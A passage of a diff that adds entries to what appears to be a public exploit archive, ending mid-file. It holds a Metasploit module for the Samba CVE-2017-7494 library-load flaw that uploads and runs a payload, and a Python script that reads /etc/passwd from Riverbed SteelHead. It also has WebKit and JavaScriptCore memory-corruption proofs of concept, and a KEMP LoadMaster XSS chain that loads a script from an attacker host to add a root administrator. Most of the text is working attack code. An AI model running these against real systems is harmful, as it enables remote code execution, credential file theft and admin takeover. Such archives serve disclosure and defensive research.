||||||
|
arr.length *= 8;
|
||||||
|
print('failed');
|
||||||
|
} catch (e) {
|
||||||
|
print(e);
|
||||||
|
|
||||||
|
exh = null;
|
||||||
|
|
||||||
|
print('arr length: ' + arr.length.toString(16));
|
||||||
|
for (let i = kArrayLength, n = arr.length; i < n; i++) {
|
||||||
|
if (arr[i])
|
||||||
|
print(arr[i]);
|
||||||
|
}
|
||||||
|
}
|
96
platforms/linux/dos/42110.txt
Executable file
96
platforms/linux/dos/42110.txt
Executable file
File diff suppressed because one or more lines are too long
393
platforms/linux/remote/42084.rb
Executable file
393
platforms/linux/remote/42084.rb
Executable file
|
@ -0,0 +1,393 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::DCERPC
|
||||||
|
include Msf::Exploit::Remote::SMB::Client
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
|
||||||
|
'Description' => %q{
|
||||||
|
This module triggers an arbitrary shared library load vulnerability
|
||||||
|
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
|
||||||
|
requires valid credentials, a writeable folder in an accessible share,
|
||||||
|
and knowledge of the server-side path of the writeable folder. In
|
||||||
|
some cases, anonymous access combined with common filesystem locations
|
||||||
|
can be used to automatically exploit this vulnerability.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
|
||||||
|
'hdm', # Metasploit Module
|
||||||
|
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
|
||||||
|
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2017-7494' ],
|
||||||
|
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 9000,
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Platform' => 'linux',
|
||||||
|
#
|
||||||
|
# Targets are currently limited by platforms with ELF-SO payload wrappers
|
||||||
|
#
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
|
||||||
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
|
||||||
|
#
|
||||||
|
# Not ready yet
|
||||||
|
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
||||||
|
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => 'Mar 24 2017',
|
||||||
|
'DefaultTarget' => 1))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
|
||||||
|
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
|
||||||
|
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def generate_common_locations
|
||||||
|
candidates = []
|
||||||
|
if datastore['SMB_SHARE_BASE'].to_s.length > 0
|
||||||
|
candidates << datastore['SMB_SHARE_BASE']
|
||||||
|
end
|
||||||
|
|
||||||
|
%W{ /volume1 /volume2 /volume3 /volume4
|
||||||
|
/shared /mnt /mnt/usb /media /mnt/media
|
||||||
|
/var/samba /tmp /home /home/shared
|
||||||
|
}.each do |base_name|
|
||||||
|
candidates << base_name
|
||||||
|
candidates << [base_name, @share]
|
||||||
|
candidates << [base_name, @share.downcase]
|
||||||
|
candidates << [base_name, @share.upcase]
|
||||||
|
candidates << [base_name, @share.capitalize]
|
||||||
|
candidates << [base_name, @share.gsub(" ", "_")]
|
||||||
|
end
|
||||||
|
|
||||||
|
candidates.uniq
|
||||||
|
end
|
||||||
|
|
||||||
|
def enumerate_directories(share)
|
||||||
|
begin
|
||||||
|
self.simple.connect("\\\\#{rhost}\\#{share}")
|
||||||
|
stuff = self.simple.client.find_first("\\*")
|
||||||
|
directories = [""]
|
||||||
|
stuff.each_pair do |entry,entry_attr|
|
||||||
|
next if %W{. ..}.include?(entry)
|
||||||
|
next unless entry_attr['type'] == 'D'
|
||||||
|
directories << entry
|
||||||
|
end
|
||||||
|
|
||||||
|
return directories
|
||||||
|
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
vprint_error("Enum #{share}: #{e}")
|
||||||
|
return nil
|
||||||
|
|
||||||
|
ensure
|
||||||
|
if self.simple.shares["\\\\#{rhost}\\#{share}"]
|
||||||
|
self.simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def verify_writeable_directory(share, directory="")
|
||||||
|
begin
|
||||||
|
self.simple.connect("\\\\#{rhost}\\#{share}")
|
||||||
|
|
||||||
|
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
|
||||||
|
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
|
||||||
|
|
||||||
|
wfd = simple.open(filename, 'rwct')
|
||||||
|
wfd << Rex::Text.rand_text_alpha(8)
|
||||||
|
wfd.close
|
||||||
|
|
||||||
|
simple.delete(filename)
|
||||||
|
return true
|
||||||
|
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
vprint_error("Write #{share}#{filename}: #{e}")
|
||||||
|
return false
|
||||||
|
|
||||||
|
ensure
|
||||||
|
if self.simple.shares["\\\\#{rhost}\\#{share}"]
|
||||||
|
self.simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def share_type(val)
|
||||||
|
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
|
||||||
|
end
|
||||||
|
|
||||||
|
def enumerate_shares_lanman
|
||||||
|
shares = []
|
||||||
|
begin
|
||||||
|
res = self.simple.client.trans(
|
||||||
|
"\\PIPE\\LANMAN",
|
||||||
|
(
|
||||||
|
[0x00].pack('v') +
|
||||||
|
"WrLeh\x00" +
|
||||||
|
"B13BWz\x00" +
|
||||||
|
[0x01, 65406].pack("vv")
|
||||||
|
))
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
vprint_error("Could not enumerate shares via LANMAN")
|
||||||
|
return []
|
||||||
|
end
|
||||||
|
if res.nil?
|
||||||
|
vprint_error("Could not enumerate shares via LANMAN")
|
||||||
|
return []
|
||||||
|
end
|
||||||
|
|
||||||
|
lerror, lconv, lentries, lcount = res['Payload'].to_s[
|
||||||
|
res['Payload'].v['ParamOffset'],
|
||||||
|
res['Payload'].v['ParamCount']
|
||||||
|
].unpack("v4")
|
||||||
|
|
||||||
|
data = res['Payload'].to_s[
|
||||||
|
res['Payload'].v['DataOffset'],
|
||||||
|
res['Payload'].v['DataCount']
|
||||||
|
]
|
||||||
|
|
||||||
|
0.upto(lentries - 1) do |i|
|
||||||
|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
|
||||||
|
stype = data[(i * 20) + 14, 2].unpack('v')[0]
|
||||||
|
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
|
||||||
|
scoff -= lconv if lconv != 0
|
||||||
|
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
|
||||||
|
shares << [ sname, share_type(stype), scomm]
|
||||||
|
end
|
||||||
|
|
||||||
|
shares
|
||||||
|
end
|
||||||
|
|
||||||
|
def probe_module_path(path, simple_client=self.simple)
|
||||||
|
begin
|
||||||
|
simple_client.create_pipe(path)
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
vprint_error("Probe: #{path}: #{e}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def find_writeable_path(share)
|
||||||
|
subdirs = enumerate_directories(share)
|
||||||
|
return unless subdirs
|
||||||
|
|
||||||
|
if datastore['SMB_FOLDER'].to_s.length > 0
|
||||||
|
subdirs.unshift(datastore['SMB_FOLDER'])
|
||||||
|
end
|
||||||
|
|
||||||
|
subdirs.each do |subdir|
|
||||||
|
next unless verify_writeable_directory(share, subdir)
|
||||||
|
return subdir
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def find_writeable_share_path
|
||||||
|
@path = nil
|
||||||
|
share_info = enumerate_shares_lanman
|
||||||
|
if datastore['SMB_SHARE_NAME'].to_s.length > 0
|
||||||
|
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
|
||||||
|
end
|
||||||
|
|
||||||
|
share_info.each do |share|
|
||||||
|
next if share.first.upcase == 'IPC$'
|
||||||
|
found = find_writeable_path(share.first)
|
||||||
|
next unless found
|
||||||
|
@share = share.first
|
||||||
|
@path = found
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def find_writeable
|
||||||
|
find_writeable_share_path
|
||||||
|
unless @share && @path
|
||||||
|
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
|
||||||
|
fail_with(Failure::NoTarget, "No matching target")
|
||||||
|
end
|
||||||
|
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_payload
|
||||||
|
begin
|
||||||
|
self.simple.connect("\\\\#{rhost}\\#{@share}")
|
||||||
|
|
||||||
|
random_filename = Rex::Text.rand_text_alpha(8)+".so"
|
||||||
|
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
|
||||||
|
wfd = simple.open(filename, 'rwct')
|
||||||
|
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
|
||||||
|
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
|
||||||
|
)
|
||||||
|
wfd.close
|
||||||
|
|
||||||
|
@payload_name = random_filename
|
||||||
|
return true
|
||||||
|
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
print_error("Write #{@share}#{filename}: #{e}")
|
||||||
|
return false
|
||||||
|
|
||||||
|
ensure
|
||||||
|
if self.simple.shares["\\\\#{rhost}\\#{@share}"]
|
||||||
|
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def find_payload
|
||||||
|
|
||||||
|
# Reconnect to IPC$
|
||||||
|
simple.connect("\\\\#{rhost}\\IPC$")
|
||||||
|
|
||||||
|
# Look for common paths first, since they can be a lot quicker than hunting PIDs
|
||||||
|
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
|
||||||
|
generate_common_locations.each do |location|
|
||||||
|
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||||
|
print_status("Trying location #{target}...")
|
||||||
|
probe_module_path(target)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Exit early if we already have a session
|
||||||
|
return if session_created?
|
||||||
|
|
||||||
|
return unless datastore['BruteforcePID']
|
||||||
|
|
||||||
|
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
|
||||||
|
# to non-root, but their /proc/pid directories are still owned by root. Trying to
|
||||||
|
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
|
||||||
|
# good chance that this still works on some embedded systems and odd-ball Linux.
|
||||||
|
|
||||||
|
# Use the PID hunting strategy devised by Tavis Ormandy
|
||||||
|
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
|
||||||
|
|
||||||
|
# Configure the main connection to have a working directory of the file share
|
||||||
|
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||||
|
|
||||||
|
# Use a second connection to brute force the PID of the first connection
|
||||||
|
probe_conn = connect(false)
|
||||||
|
smb_login(probe_conn)
|
||||||
|
probe_conn.connect("\\\\#{rhost}\\#{@share}")
|
||||||
|
probe_conn.connect("\\\\#{rhost}\\IPC$")
|
||||||
|
|
||||||
|
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
|
||||||
|
2.upto(32768) do |pid|
|
||||||
|
|
||||||
|
# Look for the PID associated with our main SMB connection
|
||||||
|
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||||
|
vprint_status("Trying PID with target path #{target}...")
|
||||||
|
probe_module_path(target, probe_conn)
|
||||||
|
|
||||||
|
# Keep our main connection alive
|
||||||
|
if pid % 1000 == 0
|
||||||
|
self.simple.client.find_first("\\*")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = smb_fingerprint
|
||||||
|
|
||||||
|
unless res['native_lm'] =~ /Samba ([\d\.]+)/
|
||||||
|
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
|
||||||
|
|
||||||
|
vprint_status("Samba version identified as #{samba_version.to_s}")
|
||||||
|
|
||||||
|
if samba_version < Gem::Version.new('3.5.0')
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# Patched in 4.4.14
|
||||||
|
if samba_version < Gem::Version.new('4.5.0') &&
|
||||||
|
samba_version >= Gem::Version.new('4.4.14')
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# Patched in 4.5.10
|
||||||
|
if samba_version > Gem::Version.new('4.5.0') &&
|
||||||
|
samba_version < Gem::Version.new('4.6.0') &&
|
||||||
|
samba_version >= Gem::Version.new('4.5.10')
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# Patched in 4.6.4
|
||||||
|
if samba_version >= Gem::Version.new('4.6.4')
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
connect
|
||||||
|
smb_login
|
||||||
|
find_writeable_share_path
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if @share.to_s.length == 0
|
||||||
|
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
|
||||||
|
return CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
|
||||||
|
return CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Setup SMB
|
||||||
|
connect
|
||||||
|
smb_login
|
||||||
|
|
||||||
|
# Find a writeable share
|
||||||
|
find_writeable
|
||||||
|
|
||||||
|
# Upload the shared library payload
|
||||||
|
upload_payload
|
||||||
|
|
||||||
|
# Find and execute the payload from the share
|
||||||
|
begin
|
||||||
|
find_payload
|
||||||
|
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
|
||||||
|
end
|
||||||
|
|
||||||
|
# Cleanup the payload
|
||||||
|
begin
|
||||||
|
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||||
|
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
|
||||||
|
simple.delete(uploaded_path)
|
||||||
|
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
|
||||||
|
end
|
||||||
|
|
||||||
|
# Shutdown
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
37
platforms/linux/webapps/42101.py
Executable file
37
platforms/linux/webapps/42101.py
Executable file
|
@ -0,0 +1,37 @@
|
||||||
|
# Exploit title : Arbitry file reading by authenticated users on Riverbed SteelHead VCX
|
||||||
|
# Vendor: Riverbed
|
||||||
|
# Author: Gregory DRAPERI <gregory.draper_at_gmail.com>
|
||||||
|
# Date: 03/2017
|
||||||
|
# Software Link: https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html
|
||||||
|
# Version: SteelHead VCX (VCX255U) (x86_64) 9.6.0a
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(address, login, password,file):
|
||||||
|
s = requests.Session()
|
||||||
|
url = address
|
||||||
|
try:
|
||||||
|
r1 = s.get(url+"/login?next=/");
|
||||||
|
cookies = requests.utils.dict_from_cookiejar(s.cookies);
|
||||||
|
csrf = cookies["csrftoken"]
|
||||||
|
authentication = {'csrfmiddlewaretoken': csrf, '_fields': "{\"username\":\""+login+"\",\"password\":\""+password+"\",\"legalAccepted\":\"N/A\",\"userAgent\":\"\"}"}
|
||||||
|
r2 = s.post(url+"/login?next=/", data=authentication)
|
||||||
|
r3 = s.get(url+"/modules/common/logs?filterStr=msg:-e .* /etc/passwd ")
|
||||||
|
print r3.text
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print "\n! ERROR: %s" % e
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) < 4:
|
||||||
|
print "Usage: exploit.py <target> <login> <password> <file>\n"
|
||||||
|
print "Example: exploit.py http://192.168.1.2 admin password /etc/passwd\n"
|
||||||
|
quit()
|
||||||
|
target = sys.argv[1]
|
||||||
|
login = sys.argv[2]
|
||||||
|
password = sys.argv[3]
|
||||||
|
file = sys.argv[4]
|
||||||
|
exploit(target,login,password,file)
|
96
platforms/multiple/dos/42104.js
Executable file
96
platforms/multiple/dos/42104.js
Executable file
|
@ -0,0 +1,96 @@
|
||||||
|
/*
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1173
|
||||||
|
|
||||||
|
When a super expression is used in an arrow function, the following code, which generates bytecode, is called.
|
||||||
|
|
||||||
|
if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {
|
||||||
|
bool canReuseLexicalEnvironment = isSimpleParameterList;
|
||||||
|
initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);
|
||||||
|
emitPutThisToArrowFunctionContextScope();
|
||||||
|
emitPutNewTargetToArrowFunctionContextScope();
|
||||||
|
emitPutDerivedConstructorToArrowFunctionContextScope();
|
||||||
|
}
|
||||||
|
|
||||||
|
Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.
|
||||||
|
|
||||||
|
void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()
|
||||||
|
{
|
||||||
|
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
|
||||||
|
if (isSuperUsedInInnerArrowFunction()) {
|
||||||
|
ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);
|
||||||
|
|
||||||
|
Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());
|
||||||
|
emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.
|
||||||
|
|
||||||
|
void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)
|
||||||
|
{
|
||||||
|
ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);
|
||||||
|
|
||||||
|
if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {
|
||||||
|
...
|
||||||
|
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {
|
||||||
|
offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);
|
||||||
|
functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));
|
||||||
|
}
|
||||||
|
...
|
||||||
|
}
|
||||||
|
...
|
||||||
|
}
|
||||||
|
|
||||||
|
But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.
|
||||||
|
|
||||||
|
BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:
|
||||||
|
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())
|
||||||
|
|
||||||
|
BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:
|
||||||
|
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
|
||||||
|
if (isSuperUsedInInnerArrowFunction()) {
|
||||||
|
|
||||||
|
Note: " || m_codeBlock->isClassContext()".
|
||||||
|
|
||||||
|
So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
*/
|
||||||
|
|
||||||
|
let args = new Array(0x10000);
|
||||||
|
args.fill();
|
||||||
|
args = args.map((_, i) => 'a' + i).join(', ');
|
||||||
|
|
||||||
|
let gun = eval(`(function () {
|
||||||
|
class A {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
class B extends A {
|
||||||
|
constructor(${args}) {
|
||||||
|
() => {
|
||||||
|
${args};
|
||||||
|
super();
|
||||||
|
};
|
||||||
|
|
||||||
|
class C {
|
||||||
|
constructor() {
|
||||||
|
}
|
||||||
|
|
||||||
|
trigger() {
|
||||||
|
(() => {
|
||||||
|
super.x;
|
||||||
|
})();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return new C();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return new B();
|
||||||
|
})()`);
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x10000; i++)
|
||||||
|
gun.trigger();
|
55
platforms/multiple/dos/42108.html
Executable file
55
platforms/multiple/dos/42108.html
Executable file
|
@ -0,0 +1,55 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1187
|
||||||
|
|
||||||
|
Here's a snippet of Element::setAttributeNodeNS.
|
||||||
|
|
||||||
|
ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
|
||||||
|
{
|
||||||
|
...
|
||||||
|
setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);
|
||||||
|
|
||||||
|
attrNode.attachToElement(*this);
|
||||||
|
treeScope().adoptIfNeeded(attrNode);
|
||||||
|
ensureAttrNodeListForElement(*this).append(&attrNode);
|
||||||
|
|
||||||
|
return WTFMove(oldAttrNode);
|
||||||
|
}
|
||||||
|
|
||||||
|
|setAttributeInternal| may execute arbitrary JavaScript. If |setAttributeNodeNS| is called again in |setAttributeInternal|, there will be two |Attr| that has the same owner element and the same name after the first |setAttributeNodeNS| call. One of the |Attr|s will hold the raw pointer of the owner element even if the owner element is freed.
|
||||||
|
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
function gc() {
|
||||||
|
for (let i = 0; i < 0x40; i++) {
|
||||||
|
new ArrayBuffer(0x1000000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
window.callback = () => {
|
||||||
|
window.callback = null;
|
||||||
|
|
||||||
|
d.setAttributeNodeNS(src);
|
||||||
|
f.setAttributeNodeNS(document.createAttribute('src'));
|
||||||
|
};
|
||||||
|
|
||||||
|
let src = document.createAttribute('src');
|
||||||
|
src.value = 'javascript:parent.callback()';
|
||||||
|
|
||||||
|
let d = document.createElement('div');
|
||||||
|
let f = document.body.appendChild(document.createElement('iframe'));
|
||||||
|
f.setAttributeNodeNS(src);
|
||||||
|
f.remove();
|
||||||
|
f = null;
|
||||||
|
src = null;
|
||||||
|
|
||||||
|
gc();
|
||||||
|
|
||||||
|
alert(d.attributes[0].ownerElement);
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
59
platforms/multiple/webapps/42090.txt
Executable file
59
platforms/multiple/webapps/42090.txt
Executable file
|
@ -0,0 +1,59 @@
|
||||||
|
Vulnerability Summary
|
||||||
|
|
||||||
|
KEMP’s main product, the LoadMaster, is a load balancer built on its own proprietary software platform called LMOS, that enables it to run on almost any platform: As a KEMP LoadMaster appliance, a Virtual LoadMaster (VLM) deployed on HyperV, VMWare, on bare metal or in the public cloud. KEMP is available in Azure, where it is in the top 15 deployed applications as well as in AWS and VMWare vCloud Air.
|
||||||
|
|
||||||
|
A cross site scripting web vulnerability has been discovered in KEMP LoadMaster v7.135.0.13245 (latest). A non authenticated user is able to inject his own malicious Javascript code into the system and use it to create a new web administrator user.
|
||||||
|
|
||||||
|
Vendor response
|
||||||
|
|
||||||
|
We were unable to get an update beyond this statement from the vendor: Expect a fix in our new version available Jan 2017.
|
||||||
|
|
||||||
|
Vulnerability Details
|
||||||
|
|
||||||
|
The issue is located in the System Configuration > System Log Files – View Audit LogFile section.
|
||||||
|
Once administrative access is obtained, the attacker can use it to execute arbitrary code.
|
||||||
|
|
||||||
|
Proof of Concept (PoC):
|
||||||
|
|
||||||
|
1 – Verify, in the victim machine the Audit LogFile (System Configuration > System Log Files): it is empty (Image 2)
|
||||||
|
|
||||||
|
2 – Inject simple HTML/JS code in the log page, using the ssh client: from an attacker machine open a shell and type the following code:
|
||||||
|
|
||||||
|
ssh \<button\ onclick\=alert\(1\)\>Click\ <\/button\>@10.0.8.145
|
||||||
|
|
||||||
|
3 – Let the login fail using wrong password (Image 4)
|
||||||
|
|
||||||
|
4 – Check again the log page (View Audit LogFile): as you can see the HTML/JS code has been correctly injected (Image 5)
|
||||||
|
|
||||||
|
Attack script:
|
||||||
|
|
||||||
|
1 – Start a web server and host on attack machine the following JS file (kemp_attack.js)
|
||||||
|
|
||||||
|
//BEGIN//////////////////////////////////////////////////////// openl = function(verb, url, data, target) {
|
||||||
|
var form = document.createElement("form"); form.action = url;
|
||||||
|
form.method = verb;
|
||||||
|
form.target = target || "_self";
|
||||||
|
if (data) {
|
||||||
|
for (var key in data) {
|
||||||
|
var input = document.createElement("textarea"); input.name = key;
|
||||||
|
input.value = typeof data[key] === "object" ?
|
||||||
|
JSON.stringify(data[key]) : data[key]; form.appendChild(input);
|
||||||
|
} }
|
||||||
|
form.style.display = 'none'; document.body.appendChild(form); form.submit();
|
||||||
|
};
|
||||||
|
//modify the target IP (10.0.8.145) and user/pass as necessary
|
||||||
|
openl('POST', 'https://10.0.8.145/progs/useradmin/add', {user:'Peru',pass:'GoSecure!',s:'Add+User'}, 'newWindow'); //modify the target IP as necessary, xuser must be equal to user. Increase the timeout (250) for debug setTimeout(function(){openl('POST', 'https://10.0.8.145/progs/useradmin/setopts', {xuser:'Peru',root:'1'}, 'newWindow');}, 250);
|
||||||
|
//modify the target IP as necessary. The timeout must be greater than the previous
|
||||||
|
setTimeout(function(){openl('', 'https://10.0.8.145/', '', 'newWindow');}, 500); //////////////////////////////////////////////////////////END//
|
||||||
|
|
||||||
|
2 – Verify permission of kemp_attack.js (chmod 644 kemp_attack.js)
|
||||||
|
|
||||||
|
3 – Verify users currently enabled in Kemp LoadMaster from System Configuration > User Management. As you can se no user (a part from default one) is active in the appliance (Image 8)
|
||||||
|
|
||||||
|
4 – Inject the attack code: from the attacker machine open a shell and type the following code:
|
||||||
|
|
||||||
|
ssh \<script \ src\=\"http\&\#x3A\;\/\/10\.0\.8\.130\/kemp\_attack\.js\"\>\ </script>@10.0.8.145
|
||||||
|
|
||||||
|
5 – Check again the log page (View Audit LogFile): this will activate the script
|
||||||
|
|
||||||
|
6 – Check again the User Management page: a new user as been created with all permissions.
|
89
platforms/multiple/webapps/42105.html
Executable file
89
platforms/multiple/webapps/42105.html
Executable file
|
@ -0,0 +1,89 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1176
|
||||||
|
|
||||||
|
When a document loads "about:blank" or "about:srcdoc", it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. Normally, it doesn't happen that a subframe's document inherits its opener frame's security origin, because it has the parent frame. And it shouldn't happen at all. However, when the subframe is cached, only the parent frame is detached but not the opener frame. So, inheriting the opener frame's security origin could happen in that case.
|
||||||
|
|
||||||
|
void Document::initSecurityContext()
|
||||||
|
{
|
||||||
|
...
|
||||||
|
if (!shouldInheritSecurityOriginFromOwner(m_url)) <<----- check m_url is about:blank or about:srcdoc.
|
||||||
|
return;
|
||||||
|
|
||||||
|
// If we do not obtain a meaningful origin from the URL, then we try to
|
||||||
|
// find one via the frame hierarchy.
|
||||||
|
Frame* parentFrame = m_frame->tree().parent();
|
||||||
|
